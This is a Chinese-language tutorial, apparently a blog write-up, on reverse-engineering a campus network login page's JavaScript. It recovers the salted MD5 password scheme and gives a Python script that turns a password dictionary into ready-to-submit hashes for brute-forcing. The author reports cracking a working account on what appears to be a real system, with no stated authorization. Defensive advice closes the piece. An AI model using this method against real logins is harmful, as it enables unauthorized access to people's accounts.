某校园网登录界面前端加密绕过
字数 1167 2025-08-22 12:22:30
校园网登录界面前端加密绕过分析教程
前言
本教程将详细分析某校园网登录界面的前端加密机制,并演示如何通过JavaScript逆向工程破解加密算法,最终实现密码爆破。本案例涉及前端加密分析、JavaScript逆向、MD5加密算法和Python脚本编写等技术。
初始发现
-
登录界面分析:尝试对学校校园网登录框进行爆破时,发现密码在前端被加密
-
抓包信息:
DDDDD=2022***&upass=3d5c84b6fb1dc75987884f39c05b0e6a123456782&R1=0&R2=1¶=00&0MKKey=123456&v6ip=DDDDD:用户名upass:加密后的密码- 其他参数意义不明
-
初步判断:密码看似MD5加密,但输入"admin"后尝试解密失败,说明不是普通MD5加密
JavaScript逆向分析
1. 定位加密函数
- 点击登录按钮,查看调用堆栈信息
- 全局搜索"Password"关键字,初步定位相关代码
- 在疑似位置设置断点,程序执行时暂停
- 继续执行代码后,调用堆栈信息中多出
a41.js文件 - 在
a41.js中发现function ee()函数,此处设置断点
2. 分析加密逻辑
下载a41.js文件进行分析,发现以下关键点:
-
加密流程控制:
- 代码顶部定义常量
ps - 由于
ps是常量,代码永远只会进入else分支
- 代码顶部定义常量
-
加密算法:
tmpchar = pid + document.getElementById("password").value + cala;pid和cala均为常量- 实际公式:
tmpchar = "2" + 用户输入 + "12345678" - 然后对
tmpchar进行MD5加密 - 最后在密文后追加
"123456782"
-
完整加密公式:
C = MD5("2" + M + "12345678") + "123456782"- C:最终提交的密文
- M:用户原始密码
Python加密脚本实现
根据分析出的加密算法,编写Python脚本批量加密字典:
import hashlib
def md5(input_str):
return hashlib.md5(input_str.encode()).hexdigest()
def generate_payload(source_data):
a = "2"
b = "12345678"
c = md5(a + source_data + b)
payload = c + "123456782"
return payload
def read_data_from_file(file_path):
with open(file_path, 'r') as file:
return file.readlines()
def save_encrypted_data_to_file(encrypted_data, file_path):
with open(file_path, 'w') as file:
for encrypted in encrypted_data:
file.write(f"{encrypted}\n")
def save_original_and_encrypted_data(data_pairs, file_path):
with open(file_path, 'w') as file:
for original, encrypted in data_pairs:
file.write(f"{original.strip()} : {encrypted}\n")
def process_data(input_file, encrypted_file, original_and_encrypted_file):
data_pairs = []
encrypted_data = []
data_lines = read_data_from_file(input_file)
for line in data_lines:
encrypted = generate_payload(line.strip())
data_pairs.append((line.strip(), encrypted))
encrypted_data.append(encrypted)
save_encrypted_data_to_file(encrypted_data, encrypted_file)
save_original_and_encrypted_data(data_pairs, original_and_encrypted_file)
# 使用示例
input_file = 'dic.txt' # 原始字典文件
encrypted_file = 'encrypted_data.txt' # 加密后的密码文件
original_and_encrypted_file = 'original_and_encrypted_data.txt' # 原始与加密对应关系文件
process_data(input_file, encrypted_file, original_and_encrypted_file)
实际应用
- 准备密码字典文件
dic.txt - 运行Python脚本生成加密后的密码
- 使用加密后的密码进行爆破尝试
- 成功爆破出可用账户
技术要点总结
-
前端加密分析:
- 通过抓包识别加密参数
- 判断加密类型(非标准MD5)
-
JavaScript逆向:
- 使用开发者工具分析调用堆栈
- 通过断点调试追踪加密过程
- 定位关键加密函数
-
加密算法还原:
- 分析常量值和拼接逻辑
- 确定完整的加密公式
- 验证加密过程
-
自动化脚本:
- Python实现相同加密逻辑
- 批量处理密码字典
- 保存加密结果用于爆破
防御建议
-
前端加密局限性:
- 前端加密不能替代HTTPS传输
- 不应依赖前端加密作为安全措施
-
改进方案:
- 使用更复杂的加密算法
- 加入时间戳或随机数防止重放
- 实施验证码或登录限制机制
-
安全开发建议:
- 敏感操作应在后端处理
- 避免在前端暴露加密逻辑
- 实施多因素认证
扩展思考
- 类似的前端加密分析技术可应用于其他Web应用
- 了解加密算法有助于安全测试和漏洞挖掘
- 掌握JavaScript逆向是Web安全研究的重要技能
通过本教程,您应该已经掌握了分析前端加密、逆向JavaScript算法以及实现自动化加密工具的全套技术流程。